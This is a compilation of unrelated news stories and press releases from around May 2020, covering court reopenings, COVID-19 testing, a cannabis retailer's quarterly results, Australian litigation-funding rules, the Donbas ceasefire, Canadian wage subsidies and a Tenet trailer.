Meanwhile, Baskins court in Martinez, and other county courts in Pittsburg and Richmond, will begin calling in prospective jurors Tuesday and will also resume trials that were suspended by Chief Justice Tani Cantil-Sakauyes order in March. Potential jurors who are older than 60, or medically vulnerable to the virus, will be excused from service, but not court personnel, including the 67-year-old judge. Were essential personnel, on the same front lines as hospital workers and grocery workers, he said.

Baskin, court employees and anyone entering the courtroom will be required to wear masks. But witnesses will testify unmasked, behind Plexiglas, also at the insistence of defense lawyers, who cited their clients constitutional right to confront witnesses, the judge said.

While courthouse doors will reopen to prospective jurors and trial participants, public access will remain limited in other ways. Contra Costa County, and other counties planning to resume trials, will keep their clerks offices closed and leave drop boxes open for new legal filings.

This is a soft reopening, court officials in Orange County said in one such announcement Friday.

The gradual reopening of courts is in keeping with Gov. Gavin Newsoms schedule for easing statewide shelter-in-place restrictions in counties that show they are taking steps to keep the coronavirus under control.

In San Francisco, which has kept 19 of its courtrooms open for limited activities, courts are planning to start some regular sessions on June 1 and will resume calling prospective jurors, said court spokesman Ken Garcia.

Courts in Santa Clara and Monterey counties also announced plans to start jury trials June 1.

Alameda County courts are moving more slowly. Officials said the courthouses will remain closed to the public, but some proceedings will resume in Oakland and Hayward on June 1, including nonjury trials in small claims court and hearings in such time-sensitive matters as domestic violence, elder abuse and disputes over wills. The hearings will be conducted remotely.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Los Angeles County plans to resume jury trials on June 22.

Baskin said jury selection in Contra Costa County will take longer under the new rules. Prospective jurors are typically brought to court in groups of 60 to 80 and winnowed down to 12 in two to three days. With social distancing, he said, no more than 20 at a time will be allowed in court, and jury selection will take six to nine days.

The judge said he and his colleagues decided on an earlier reopening because of legal concerns, such as a defendants right to a speedy trial, and some scheduling worries.

A huge backlog of cases is building, Baskin said. If we dont get going, theres going to be a tsunami that will wipe us all out.

Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelko
[May 22, 2020] Chaac Technologies Aids Food Crisis with Sustainable and Distributed Utility Grid for AgriBusinesses, Providing Growers with Clean Water, Continuous Airflow, and Energy from the Air

The solution to the biggest barriers in the current food crisis is here thanks to Chaac Technologies (www.chaactech.com), which has created the technology for a sustainable and distributed utility grid. Chaac's novel technology extracts water and power directly from the atmosphere with a patent-pending, environmentally friendly and affordable system for commercial agriculture and farming businesses. Slated for first production in late 2020, the company is finalizing contracts with 3-plus major agribusiness providers to produce fresh water, electricity, heat and compressed air for commercial farms and agricultural business. When integrated into greenhouse infrastructure, the system can also regulate airflow and temperature to enhance and sustain healthy crop production. The company anticipates broad market availability in 2021. "Our technology removes the utility barriers that prevent farmers and growers from producing the food we need, particularly in areas where it hasn't been feasible or practical before," said Jake Hammock, Chaac Technologies co-founder and CEO. "Our technology draws water from the air to create renewable energy from pneumatic power generation, which could be of vital use in helping to resolve the growing food crisis within the U.S." The Chaac solution also helps communities breathe easier, thanks to a process for water and energy production that doesn't produce carbon and removes solid waste particulates from the air, Hammock said. Where can it be used? Every grower and agricultural provider requires water, power and air. Chaac's Distributed Grid Utility System is transportable, adaptable and produces all three in high quantity, on-demand and at an affordable cost. Growers can tailor their off-grid technology for multiple uses, such as commercialfacilities or agricultural development. It is ideal for anyone seeking a sole-source, on-demand utility solution.



How does it work? Customers can use renewable energy or any other energy source to initiate the operation. Chaac's patented and patent-pending product compresses ambient air in any location with 40 percent or higher humidity, and squeezes out the water, like a sponge, in four steps:

The mechanism forces air into a smaller volume, which increases the pressure and the temperature of the air. The compressed air grows warmer as the pressure increases. Lower-temperature ambient air cools the hot compressed air. Finally, a small decrease in temperature puts the compressed air in a saturated state, allowing full separation of air and water. The pure water is now available for use and the excess energy and heat can return to the system or move to the grid. Additionally, commercial and industrial developers could ultimately use the technology to convert buildings and infrastructure into micro-substations that produce added power during water generation process that building owners could move to the grid to save or to sell. What's next? Chaac Technologies is finalizing two significant partnerships to fund the company's next phase. Additional investment opportunities are available to accelerate ability to bring the technology to market at optimal speed. "Chaac is taking on two of the major challenges to sufficient generation of food: energy poverty and water scarcity," said Sam Kimzey, Chaac co-founder and COO. "This technology will be a game-changer to support agribusiness in addressing the food supply shortage. It will also support this multi-trillion dollar market in bringing these resources to places that have not had access before." Hammock recently met with several government ministers in the United Arab Emirates who expressed interest in using Chaac's Distributed Grid Utility Systems to bring water and power to the six countries belonging to the Gulf Cooperation Council as well as participating in the Utah governor's trade mission set for later this year to Saudi Arabia and UAE. Hammock will also deliver the "Tech for Good" keynote address at the InnoVEX Conference this September in Taiwan. He addressed the technology in an April interview on Fox News and in an interview on the streaming program "To the Point" with Eric Mitchell, available here. About Chaac Technologies Chaac Technologies is the creator of patented and patent-pending Distributed Grid Utility technologies to access pure water and energy from the air. The company's system is renewable, customizable and economical. The technology can operate on a small footprint or at utility scale for agricultural and commercial uses. Based in Salt Lake City, the company is headed by Jake Hammock and Samuel Kimzey, who bring extensive corporate, government, and military leadership experience to Chaac. Taken to full fruition, the company's technology could provide clean water and electricity for all of humanity. For more information, visit www.chaactech.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005372/en/

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Texas included tens of thousands of antibody tests in its daily reports on COVID-19, skewing the recent picture of the outbreak and the states response as it scrambled to ramp up surveillance of the outbreak.

About 49,000 antibody tests were included as of Wednesday, or 6.4 percent of all tests reported, according to updated data from the Department of State Health Services. Antibody tests dont track current infections, only people who have had and recovered from the disease.

Health experts advise against including the tests because they dont necessarily help define the current outbreak.

The health department acknowledged earlier this week that antibody tests made up a small fraction of tests reported, but only began distinguishing between them and standard viral tests on Thursday.

COVID-19 Tracker: Interactive maps track coronavirus cases in San Antonio, Texas counties and the U.S.

With the antibody tests excluded, the rate of people testing positive for COVID-19 in the state has been adjusted up slightly  about half of a percentage point for both Tuesday and Wednesday. The positivity rate has been a key measure for Republican Gov. Greg Abbott as he reopens more of the state.

The rate was at 5.4 percent as of Wednesday, up a bit from earlier in the week, according to the state data.

Diana Cervantes, who directs the epidemiology program at the University of North Texas Health Science Center, cautioned that the lower positivity rate is likely at least in part because its easier for people who arent showing symptoms to get tested.

If you look at the peak on the 13th of April, Im sure that represented people who had signs and symptoms, she said, referring to when the rate was at nearly 14 percent. Whereas you look at it now, the people being tested may have had symptoms, it may be people who have been exposed, it may be mass testing of vulnerable populations  its a much broader group. That alone will drive down the percent positivity.

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When asked about the issue during a news briefing on Monday, Abbott insisted that the antibody tests were not being included in the official counts. A spokesman later clarified that he was talking about them being separated going forward.

The governor has since said some counties needed time to separate the antibody results out from their overall counts.

Officials in Taylor County, in North Texas, said in a Facebook post earlier this month that the state health department had instructed them on May 6 to remove all antibody cases from their official counts. That day they removed 82 positive results from antibody tests.

The officials in Taylor explained that there hadnt been clear guidance previously from the Centers for Disease Control and Prevention about whether to include the antibody results.

Even with the changes, the state still appears to be nearing Abbotts goal of completing 30,000 tests per day. In the past six days the state has averaged nearly 25,000 daily tests.

Abbott stressed again this week that hospitalizations are holding steady across the state, and that there is plenty of manpower and medical resources to respond to isolated surges as the state reopens further.

Weve never had any challenges with regard to limited hospital capacity, with ventilators, with the ability to treat people who have tested positive for COVID-19, he said in a TV interview.

Abhi Rahman, a spokesman for the Texas Democratic Party, said in a statement that Texans dont feel safe, and manipulating the data isnt going to help Texans feel comfortable going outside. We must increase our testing capacity and follow the advice of doctors and experts or we will be hit with a devastating second wave.
Highlights:

Strong Q2 2020 Operation s : Generated $13.6 million in revenue at a 30%+ gross margin in Q2, representing over $400,000 per operating store in the quarter, within an increasingly competitive landscape in Western Canada .

Generated in revenue at a 30%+ gross margin in Q2, representing over per operating store in the quarter, within an increasingly competitive landscape in . Financed for Growth: Strengthened balance sheet, ending the quarter with $15.7 million in cash and an additional $7 million available to be drawn on an unsecured loan.

Strengthened balance sheet, ending the quarter with in cash and an additional available to be drawn on an unsecured loan. Priority on Growth Markets : Significant progress in the Ontario market having been granted Cannabis Retail Operator License and with five META branded stores in Ontario currently under the public notice process.

Significant progress in the market having been granted Cannabis Retail Operator License and with five META branded stores in currently under the public notice process. Focused on P rofitability: Entered into agreements to divest two non-core assets and have taken cost-cutting steps including headcount and salary reductions.

Entered into agreements to divest two non-core assets and have taken cost-cutting steps including headcount and salary reductions. Commitment to Retail Excellence : Introduced membership and perks program to drive customer loyalty and strengthened industry knowledge and experience with additions to the board of directors.

Introduced membership and perks program to drive customer loyalty and strengthened industry knowledge and experience with additions to the board of directors. COVID-19 Update: Subsequent to Q2, META has introduced enhanced e-commerce solutions for customers by implementing pick-up and delivery options for safe customer and staff interactions. Although operations have been impacted by new COVID-19 measures put in place, retail sales have shown consistent demand across operating locations and re-opening of the Ontario marketplace is expected to come shortly.

TORONTO, May 22, 2020 /CNW/ - Meta Growth Corp. (TSXV: META) ("Meta Growth", "META" or the "Company"), a leading Canadian recreational cannabis retailer, today announced its financial and operational results for the second quarter of fiscal 2020 ended February 29, 2020.

Strengthens Balance Sheet to Fund Aggressive Growth

Cash and cash equivalents at the end of Q2 2020 were $15.7m, an increase of $8.9m from the end of Q1 2020. This increase is largely attributable to the $10m bought deal prospectus offering which closed in Q2 2020. In Q2 2020 the Company also closed an $11m unsecured loan draw down facility with Opaskwayak Cree Nation ("OCN"), of which only $4m has been drawn to date. As such, META has significantly strengthened its balance sheet in preparation for aggressive store growth, especially within the Ontario market.

Significant Progress in Ontario

META has made significant progress in Q2 2020 with respect to its expansion plans in Ontario. Firstly, it executed agreements with two independent cannabis retail operators in Ontario, whereby the Company opened two META branded stores in Q2 2020. Meta Growth acts as a consulting partner and service provider for these retail operators. Secondly, the Company has been approved by the Alcohol and Gaming Commission of Ontario ("AGCO") for a Cannabis Retail Operator Licence ("ROL") in the province of Ontario. Subsequent to receiving its ROL, the Company submitted Retail Store Authorization applications for sites throughout Ontario, for which it has begun the Public Notice Process for five META branded sites. While COVID-19 had a significant impact on META advancing through the licensing process in Ontario over the past few months, the AGCO is now granting Retail Store Authorizations and META is on track to proceed with its plan for aggressive store growth.

Divestiture of Non-Core Assets and Implementation of Cost Saving Initiatives

Subsequent to Q2 2020, META entered into two transactions in order to divest of non-core medicinal cannabis assets. One transaction resulted in the divestiture of the Company's pharmacy assets, and the other transaction resulted in META selling its common shares in an Australian medicinal cannabis clinic network. The outcome of these transactions is that META will be able to redeploy cost savings and purchase price proceeds to its retail cannabis expansion strategy. The Company continues to evaluate its operations and will explore divesting other assets that do not fit within its strategic vision.

The Company also initiated cost savings at the corporate level by terminating several consulting arrangements, and by introducing travel restrictions. In response to the COVID-19 pandemic, META implemented additional cost saving measures as a precaution to further preserve cash to fund its growth initiatives. These measures include the layoff or termination of 19 corporate employees and a temporary salary reduction program of up to 47.5% for members of the Company's senior management team.

Introduction of Membership & Perks Programs and Enhancement of E-Commerce Solutions

Launched in Q2 2020, MetaXtra and NewLeaf Plus are membership and perks programs that give customers access to enhanced benefits when they experience META and NewLeaf retail and online offerings. Signing up for the programs is free, easy, open to anyone who is of legal age, and allows customers to receive exclusive access to members-only deals, offers, news and more. The programs launched with an introductory sign up offer of 20% off the customer's next purchase (where allowed by provincial regulations). Select future promotions and offers will be exclusive for members. Another perk is members having access to their online purchase history, making re-ordering simple. Customers will also receive product updates and general news that is curated just for members.

These marketing initiatives allow for more inputs of real-time data to be utilized under the Company's Meta Insights program, which collects data from various touchpoints at the retail level. The program produces internal and proprietary research and insights which contribute to sales and operations efficiencies, as well as optimized marketing campaigns.

Subsequent to Q2, META introduced new online ordering options for customers which have been curated based on provincial regulations. These e-commerce platforms, named MetaXpress Pickup and NewLeaf Express Pickup, streamline the customer shopping experience by allowing orders to be placed online, either for pick up in store, pick up at curb side or for delivery (where allowed by provincial regulations). The platforms enable customers to be in and out of retail stores quickly and efficiently. The Company is committed to ensuring an exceptional client experience regardless of whether a client prefers to shop in-store, or by using digital offerings.

Commitment to Retail Excellence

While the Company officially changed its name in Q2 2020 from National Access Cannabis Corp. to Meta Growth Corp., a change to align the Company's name with its retail store brand, it also completed an extensive operational improvement plan designed to optimize store profitability and performance. Initiatives included renegotiating contracts with major suppliers, optimizing store staffing levels, evaluating store working hours, and analyzing inventory replenishment processes. The Company expects that these initiatives will result in cost savings in the upcoming quarters.

Subsequent to the quarter end, META significantly strengthened its Board of Directors with the appointment of two new independent directors with extensive retail and real estate experience. Andrea Elliott joined META with over 20 years of retail executive experience at companies including Moose Knuckles, PVH Canada Retail (Calvin Klein, Van Heusen, IZOD & Bass), PwC, Williams-Sonoma, and Gap. While Christopher Brawn joined META with over 30 years of real estate experience, including 15 years as Vice President of Real Estate at Dollarama.

Selected Summary of Quarterly Financial Results



Statement of Loss Highlights

Three Months Ended

Feb 29, 2020 Feb 28, 2019 Total Revenue $13,637,409 $16,202,100 Cost of Goods Sold $9,514,590 $10,972,284 Gross Profit $4,122,819 $5,229,816 Net Loss and Comprehensive Loss $5,543,021 $5,643,661 Net Loss per Share $0.03 $0.03

For a more comprehensive overview of the financial highlights presented in this press release, please refer to Meta Growth's Condensed Interim Consolidated Financial Statements for the three and six months ended February 29, 2020 and February 28, 2019, and the Company's Interim MD&A  Quarterly Highlights for the three and six month period ended February 29, 2020. Both of these documents are available on the Company's SEDAR profile at www.sedar.com.

"We have had an extremely busy and productive quarter on many fronts," said Mark Goliger, CEO of Meta Growth. "Most importantly, we have secured growth capital and have made significant progress in executing on our Ontario expansion strategy. We have also incorporated operational efficiencies that we believe will result in improved EBITDA margins moving forward. As a result of falling wholesale prices and hyper-competition in Alberta, the province where the majority of our retail stores are currently located, our revenue for Q2 2020 decreased compared to the same quarter last year. We believe the Alberta market has negatively impacted all retailers, as more and more retailers compete for the same total available market. With this understanding, we did not open any new stores in Q2 in Alberta as we are focused on delivering the highest return on investment which we feel is best served by expanding into Ontario once the market finally opens. Thankfully that time has now come, and we are ready to execute."

Grant of Restricted Share Units

The Company also announces that its Board of Directors has approved a grant of 300,000 restricted share units ("RSUs") to certain directors and officers of the Company pursuant to the Company's restricted share unit plan. The RSUs will fully vest upon one year from the grant date. Each RSU entitles the holder to acquire one common share of the Company upon vesting. As of the date of this news release, the Company has 4,264,601 common shares reserved for issuance under the RSU Plan.

About Meta Growth

Meta Growth is a leader in secure, safe and responsible access to legal recreational cannabis in Canada. Through its Canada-wide network of Meta Cannabis Co., Meta Cannabis Supply Co. and NewLeaf Cannabis recreational cannabis retail stores, Meta Growth enables the public to gain knowledgeable access to Canada's network of authorized Licensed Producers of cannabis. Meta Growth is listed on the TSX Venture Exchange under the symbol (TSXV: META).

For more information on Meta Growth, visit:

metagrowth.com



Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Statements

This news release contains forward-looking statements and forward-looking information within the meaning of applicable securities laws. The use of any of the words "expect", "anticipate", "continue", "estimate", "objective", "ongoing", "may", "will", "project", "should", "believe", "plans", "intends" and similar expressions are intended to identify forward looking statements or information. Forward-looking statements and information in this news release includes, but is not limited to, future cost savings and improved EBITDA margins resulting from operational efficiencies implemented by the Company and opening and operating cannabis retail stores in Ontario. Although the Company believes that the expectations and assumptions on which the forward-looking statements and information are based are reasonable, undue reliance should not be placed on the forward-looking statements and information because the Company cannot give any assurance that they will prove to be correct. Since forward-looking statements and information address future events and conditions, by their very nature they involve inherent risks and uncertainties. Actual results and developments may differ materially from those that are currently contemplated by these statements depending on, among other things, risks relating to receipt of Retail Store Authorizations for Ontario cannabis retail stores; the ability of the Company to submit additional store authorization applications and receipt of related Retail Store Authorizations; future legislative and regulatory developments; inability to access sufficient capital from internal and external sources, and/or inability to access sufficient capital on favourable terms; general business, economic, competitive, political, regulatory and social uncertainties; the delay or failure to receive regulatory approvals; the COVID-19 pandemic nationally and globally which could have a material adverse impact on the Company's business, operations and financial results, including disruptions in supply chains, as well as a deterioration of general economic conditions including national and/or global recessions and the response of governments to the COVID-19 pandemic in respect of the operation of retail stores; and the recreational cannabis industry in Canada generally. The Company cautions that the foregoing list of risks and uncertainties is not exhaustive. The forward-looking statements and information contained in this news release are made as of the date hereof and the Company undertakes no obligation to update publicly or revise any forward-looking statement or information, whether as a result of new information, future events or otherwise, unless so required by applicable securities laws.

SOURCE Meta Growth Corp.

For further information: Meta Growth, Mark Goliger, Chief Executive Officer, Meta Growth, Tel: 647-689-6382, [email protected]; Media Inquiries, Matt Ryan, VP of Marketing, Meta Growth, Tel: 647-633-9330, [email protected]

Related Links

https://metagrowth.com/


New Laws Give Class Action Claimants a Better Chance at Higher Compensation

Treasurer Josh Frydenberg has tightened the screws on third-party litigation funders, introducing new laws to increase regulation and address issues where plaintiffs are receiving a low portion of successful compensation claims.

Funders will now need to hold an Australian Financial Services Licence which will put them in the same class as banks and other lenders, subjecting them to stricter rules around transparency and accountability, and bring them under the gambit of the Australian Securities and Investments Commission (ASIC).

Frydenberg said he was concerned with the number of class actions tripling in recent years.

It is now even more important that litigation funding activities are regulated in a manner that is consistent with other financial services and products that seek to provide investment returns to consumers, he told AAP on May 22.

There is no reasonable basis for litigation funders to continue to be exempt from the same regulation that applies to the entities which they seek to litigate against.

Litigation funding is often used in class actions involving compensation claims. Plaintiffs who cannot afford to fund an action can obtain funding from a third-party organisation. Some of the largest litigation funders include IMF Bentham, an ASX listed company.

The practice in recent years has seen the number of class actions increase dramatically. Plaintiffs have also complained of receiving only a fraction of compensation if an action is successful, with much of the money going to litigation funders, lawyers, and administrators.

Related Coverage 40,000 Australians Join Class Action Against Defence Department Over Land Contamination

On March 5, the Parliamentary Joint Committee on Corporations and Financial Services was tasked with looking into this area.

Attorney-General Christian Porter said that while litigation funders had an important role to play in the legal system, however aggressive business practices were impacting plaintiffs, and the situation was clearly wrong.

To quote Judges whove presided over cases involving litigation funders, the profits they make have been variously described as stratospheric, arguably excessive and not fair and reasonable, the Attorney-General said.

I am even aware of a case where a group of workers who were suing their employer for unpaid entitlements did not receive a single cent from a $5 million dollar judgement awarded in their favour, he said.

Instead, the litigation funder walked away with almost $2 million and the remainder was shared between lawyers and administrators.

The Australian Institute of Company Directors welcomed the treasurers move saying the rules helped guard against opportunistic class actions.

This government step comes at a time when business leaders are working hard to save jobs and companies from collapse, chief executive Angus Armour said in a statement on May 22.

They do not need to be looking over their shoulders for lawyers and funders looking to capitalise on the uncertainty created by the pandemic, he said.

Armour said the upcoming parliamentary inquiry was an opportunity to look into how the system was operating and whether changes were needed.

Meanwhile, national compensation law firm Slater and Gordon announced it reached a $95 million settlement in a class action on behalf of shareholders of Spotless Group.

The class action against Spotless alleged the group misled the market through announcements made in late 2015.

The case was co-funded by three litigation funders.
During the day, May 22, militants violated the ceasefire in the Donbas 10 times. They used weapons prohibited by the Minsk agreements - namely, mortars of 120 mm and 82 mm calibers. The press service of the Ministry of Defense of Ukraine reported this.

In Donetsk region, near Bogdanivka, militants fired at the positions of the Joint Forces three times, using 82-caliber mortars, heavy machine guns, small arms, and UAVs that dropped VOG-17 rocket-propelled grenades on positions of Ukrainian troops.

Near the village of Verkhnyotoretske, the enemy fired twice, using 120 mm mortars, grenade launchers of various systems and heavy machine guns.

In the area of Starohnativka, hostile forces violated the ceasefire twice, using grenade launchers of various systems, small arms. They also used UAVs to drop VOG-17 rocket-propelled grenades.

The Ukrainian military near Chermalyk, Vodyanoy and Sands came under attack from grenade launchers of various systems, heavy machine guns and small arms.

As a result of enemy shelling, one military serviceman was injured. There were no cases of coronavirus infection among the personnel. Enemy losses are being specified.
British Columbia has slapped a lifetime ban on shadow broker Ricky Kanwal, who has admitted to submitting falsified income and tax documents.

Previously named in connection with last years investigation into Vinita Devi Lal, Kanwal has confessed to transacting with two unlicensed middlemen who have clients that would never qualify for loans otherwise, CBC News reported.

The dealings with the two shadow brokers were associated with 41 mortgage applications submitted from November 2015 to December 2016, all from just 17 borrowers.
Michael Leroy Oberg is a SUNY Distinguished Professor of History at SUNY Geneseo. Oberg earned his Ph.D. at Syracuse University and is currently working on a book on the Onondagas.

By Michael Leroy Oberg | Special to Syracuse.com

During his visit to Arizona earlier this month, President Donald Trump commented on his efforts to help the states large Native American population combat the coronavirus pandemic and, as he put it, to bring attention to the unprecedented actions my administration has taken to support our treasured Native American communities. The president said that his administration has improved the lives of Native American families and tribes more than any administration has done by far.

That claim is not supported by the evidence. The Navajo Nation continues to be devastated by the pandemic.

Trump touted the $8 billion Congress appropriated to assist American Indian nations. He announced as well that the Navajo Nation will receive an additional $600 million in assistance. Since I took office, Trump continued, my administration has also worked to repatriate precious Native American artifacts, to protect children in the care of the Indian Health Service, and to make eagle remains more easily accessible for cultural and religious purposes, and to highlight the contributions of Native American veterans throughout the history of our nation. None of the items on this list are unprecedented, and all are required by laws that predated Trumps election in 2016.

Make no mistake, Trumps presidency has been mostly bad for Native Americans. His racist name-calling directed at Elizabeth Warren reinforced damaging stereotypes about Native American identity. He ignored the protests at Standing Rock and authorized completion of the Dakota Access Pipeline, and rolled back protections on sacred sites like the Bears Ears National Monument. His fetish for Andrew Jackson has bothered those who know anything at all about that presidents record concerning Native America, and Trumps budgets have imposed cuts on the Indian Health Service at a time when additional funding was badly needed. In fact, the $800 billion in funding has been tied up in court as tribes have clashed with the US. on who should receive the payments. The president has been more talk than action, and those actions are usually bad.

With one exception.

In November of 2019, the president signed an Executive Order establishing a task force on Missing and Murdered American Indian and Alaska Natives, charged with consulting tribal governments on the scope and nature of the issues, developing model protocols and procedures to apply to new and unsolved cases, as well as the establishment of a multi-disciplinary, multi-jurisdictional team including representatives from tribal law enforcement agencies and the federal Departments of Justice and Interior. Dubbed Operation Lady Justice, the task force held consultation/listening sessions earlier this year but had to shelve the rest of its schedule because of the pandemic.

This is a serious problem. The Centers for Disease Control found that 49 percent of Native American women have experienced sexual violence. The Department of Justice reported that 34.1 percent of Native American women will be raped during their lifetime, more than for any other racial grouping. As Trump indicated when he signed the executive order, the statistics are sobering and heartbreaking. He said that more than 5,000 Native American women and girls were reported missing, and though many are found, too many are still missing and their whereabouts are unknown  and they usually dont find them. This is a North American issue, and it came to the administrations attention through the efforts of countless activists across Canada and the United States. Haudenosaunee people, along with many others, have played a role in fueling this movement.

It was this task force about which he spoke during his visit to Arizona. He issued a proclamation making May 5 Missing and Murdered American Indians and Alaska Natives Awareness Day.

Many of these missing women have been caught in a web of human trafficking. It is a problem of great magnitude but hazy borders. In this sense, the presidents effort to bring additional attention to this issue is welcome. Nearly half of tribal law enforcement agencies who responded to a Government Accountability Office call for information reported that they believe human trafficking is occurring on tribal lands within their jurisdictions.

These are crimes on the margins. Native communities are poor. Resources are few. But the harm is not inevitable, and nations, like individuals, have choices. In this one instance, the president and his handlers have made the right one. The task force is still on schedule to report to the president sometime after the election. It must finish its work, issue its report, and work collaboratively with native nations to solve this long-standing but solvable problem. Congress and the president must help. The time for talk is long past. Lets hope, whatever the outcome in November, that this important first step is not one wasted.

Also in Opinion: Onondaga County is getting played by Jeff Bezos, Amazon (Commentary)
By David Ljunggren and Kelsey Johnson

OTTAWA (Reuters) - Canada will extend a costly emergency wage subsidy program until the end of August to help firms retain employees during the coronavirus outbreak, Prime Minister Justin Trudeau said on Friday.

The program is already budgeted to cost C$73 billion ($51.8 billion), or half the entire value of all the direct spending the Liberal government has unveiled to help people and firms cope with the disruption caused by major shutdowns.

"Business owners, please take confidence from this announcement - you have now some runway to catch your breath as you get restarted. So please bring back your employees," Trudeau told a daily briefing.

Only firms which have seen a drop in revenues of 30% or more are eligible for the subsidy, a threshold that Trudeau said the government might cut to ensure more enterprises can benefit.

Ottawa is also promising unemployed Canadians up to C$2,000 a month under a separate program. The National Post this week cited internal government documents telling employees vetting claims to ignore most potential cases of cheating.

The official opposition Conservatives accuse Trudeau of turning a blind eye to fraud.

"We made the deliberate choice to get the money out the door to millions of Canadians who needed it ... we will ensure that fraudsters or people who got the benefits unfairly or inappropriately will have to pay them back," he said.

The total death toll edged up by 3% to 5,499 from Thursday, the public health agency said. The increase was one of the smallest daily advances since the crisis broke.

Many of Canada's 10 provinces have started to slowly reopen their economies while maintaining strict rules on physical distancing and social gatherings.

"The virus won't be gone in the next few months, perhaps in the next few years, so we have to get used to the new instructions," Quebec premier Francois Legault told reporters.

The Pacific province of British Columbia will allow students to voluntarily return to classrooms on a part-time basis on June 1, the government announced on Friday, with the intention to return all students to classrooms full-time in September.

Story continues

Canadian home sales fell by a record 56.8% in April from the previous month as lockdowns pushed buyers and sellers to the sidelines, official data showed.

($1=1.4095 Canadian dollars)

(Additional reporting by Moira Warburton and Fergal Smith in Toronto; Editing by Chris Reese and Andrea Ricci)
We are very happy with this successful outcome. Furthermore, we appreciate our clients trust in the team at all times, which enabled us to achieve this precedent setting decision for tax matters in Mexico, said Joselino Morales Lopez, Greenberg Traurig Litigation Practice shareholder.

A team of Tax Practice and Litigation Practice attorneys from the Mexico City office of global law firm Greenberg Traurig, LLP, successfully obtained a writ of amparo, which is a remedy for the protection of constitutional rights, before the Nations Supreme Court of Justice (SCJN). The precedent-setting victory came on behalf of client, Joaquin Alcala, who was appealing the Mexican Tax Authoritys (SAT) decision that it was jointly liable as a real estate company for a principal tax assessment of MX $101.5 million.

The decision issued on Feb. 19, 2020 by the Second Chamber of the SCJN in case ADR5652/2019, granted federal judicial protection to Alcala, who was a member of the board of directors of the taxpaying real estate company. The court said it found in favor of the client based on its conclusion that the tax authoritys power to determine joint liability and require payment of the assessment owed, had expired. The ruling eliminated any tax debt or associated issues for the client.

We are very happy with this successful outcome. Furthermore, we appreciate our clients trust in the team at all times, which enabled us to achieve this precedent setting decision for tax matters in Mexico, said Joselino Morales Lopez, Greenberg Traurig Litigation Practice shareholder, who acted as lead counsel in the case. We utilized our teams skills and legal experience to craft new arguments and establish legal precedents in the Mexican legal system. This success is extremely rewarding.

This is a landmark decision for the Mexican legal system because it represents the first precedent issued by the SCJN related to the calculation of the expiration period of the powers of tax authorities to determine joint and several liability in a tax assessment.

As a result of this ruling, the tax credit imposed against the jointly responsible person was left unsubstantiated, thus eliminating any debt or contingency for Alcala.

This news filled me with joy and made me regain my strength to keep moving forward, Alcala said. Greenberg Traurig has been key to achieving this result since the teams arguments led to the favorable outcome in the matter. The firm and its lawyers have my utmost respect and admiration.

Morales Lopez led the team of Greenberg Traurig attorneys that included Litigation Practice Associates Hugo Hernandez and Perla Salgado Roman.

About Greenberg Traurig Mexico: Greenberg Traurigs Mexico City office offers clients innovative, strategic advice and legal services that span both traditional fields and contemporary regulatory sectors. The office has more than 60 bilingual attorneys who have been contributors to major national projects in Mexico and leverages the resources and reach of the firms global platform to provide clients with tailored legal services reflective of the specific industry and market conditions in which they operate. The Mexico City office is an integral part of the firms award-winning Latin America Practice, and has been recognized with leading banking, corporate, M&A, infrastructure, real estate, privacy, energy, administrative litigation, and competition practices in Mexico.

About Greenberg Traurig, LLP: Greenberg Traurig, LLP (GT) has approximately 2200 attorneys in 41 locations in the United States, Latin America, Europe, Asia, and the Middle East. GT has been recognized for its philanthropic giving, diversity, and innovation, and is consistently among the largest firms in the U.S. on the Law360 400 and among the Top 20 on the Am Law Global 100. Web: http://www.gtlaw.com Twitter: @GT_Law.
The Nigeria Centre for Disease Control (NCDC) has called on State governments to intensify efforts to ramp up sample collection and te...





The Nigeria Centre for Disease Control (NCDC) has called on State governments to intensify efforts to ramp up sample collection and testing for coronavirus.





The Director-General of NCDC, Dr Chikwe Ihekweazu, made the disclosure while speaking with journalists on the backdrop of the countrys fight against COVID-19 pandemic on Thursday in Abuja.





The DG said that no matter how intensive the States preventive measures were, success in controlling the outbreak could not be assessed without making efforts to carry out enough tests on people.





He said No matter how intensive preventive measures are, theres no way to assess states success or failure in managing COVID-19 without conducting more tests to estimate the burden of the disease

Testing is critical to the national response; we will continue to scale up capacity.

Our goal is to limit transmission.





We also appeal to Nigerians to support the public health response to COVID-19 by taking responsibility to limit transmission.





We will continue to scale up our testing capacity. We are testing every sample we get daily.





In terms of laboratory capacity, we are ready to do more.





He further explained that the discharge criteria for any COVID-19 patient at the moment was a single negative coronavirus test.





According to him, the average duration of hospitalisation for COVID-19 patients is 11 days.





Government decided to do this due to limitations in bed spaces.

Some people recover faster than others based on certain factors such as the strengths of their immune system.





Full reopening of the economy will require the sacrifice of all Nigerians in taking responsibility and adhering to recommended measures, he added.
Michael Riego, 31, was arrested Thursday and charged with bestiality and burglary. Read more

A 31-year-old Delaware man has been charged with sexually assaulting ponies at an equestrian park near Wilmington, New Castle County police said Thursday.

Michael Riego of Hartly, Kent County, was arrested early Thursday and charged with two counts of felony bestiality and two counts of felony burglary, police said. He was arraigned and held with secured bail set at $12,000.

Police in February began investigating reports of injuries to ponies at the New Castle County Carousel Park and Equestrian Center caused by cords tied around their legs just above their hooves. The first reported injury occurred last September.

A suspect in the assaults was recorded on video but could not be identified. Police said they began conducting nightly surveillance and about 12:30 a.m. Thursday detectives saw Riego approach and look into a ponys stall, then enter the stall and tie the ponys rear legs. Riego was then taken into custody.

The investigation is ongoing, police said.

All of the ponies were treated by an equine veterinarian and have resumed normal daily activities, police said.
Los Angeles, May 22 : At a time when the fad of direct-to-OTT is catching the fancy of a section of filmmakers, Hollywood mogul Christopher Nolan has clearly asserted that his highly-anticipated spy thriller "Tenet" will only release on the big screen.

The confirmation comes at the end of the film's just-released second trailer. The trailer ends with a note: "Coming to theatres", although without committing to a date. However, the official Twitter account of the film still lists its original planned date -- July 17 -- as the day of release.

The new trailer of the action thriller gives a glimpse into the mission that the protagonist secret agents, essayed by Robert Pattinson and John David, embark on, in a time-bending mission to prevent World War III.

While many filmmakers have decided to take their efforts directly to OTT, bypassing theatrical release owing to the COVID-19 pandemic fallout of film trade, Nolan's assertion has naturally thrilled fans.

